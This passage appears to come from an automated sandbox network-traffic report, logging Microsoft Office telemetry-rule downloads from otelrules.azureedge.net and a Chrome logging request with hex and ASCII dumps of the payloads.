2024-10-29 17:42:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5271dd0b-801e-00a0-6eb7-282196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174223Z-r197bdfb6b4wmcgqdschtyp7yg00000006wg000000005kh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174223Z-16849878b78p49s6zkwt11bbkn00000006e000000000tbv2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174223Z-15b8d89586fzcfbd8we4bvhqds00000001vg000000004bkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174223Z-16849878b78tg5n42kspfr0x4800000006yg000000003yz2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49747	142.250.186.142	443	6508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:25 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 912 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 17:42:25 UTC	912	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 32 33 37 34 31 39 36 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730223741967",null,null,null,

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174225Z-17c5cb586f64v7xsc2ahm8gsgw00000001u000000000c9r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49749	13.107.246.45	443	6508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174225Z-r197bdfb6b4wmcgqdschtyp7yg00000006sg00000000dbkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 647ea265-801e-0067-10e5-29fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174225Z-17c5cb586f6sqz6f73fsew1zd800000000h0000000007xwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d3dff139-d01e-002b-5c94-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174225Z-15b8d89586fzcfbd8we4bvhqds00000001tg000000009u3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0427b385-801e-0048-0995-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174225Z-17c5cb586f64v7xsc2ahm8gsgw00000001tg00000000dgfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174226Z-16849878b786jv8w2kpaf5zkqs00000005rg00000000ffk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
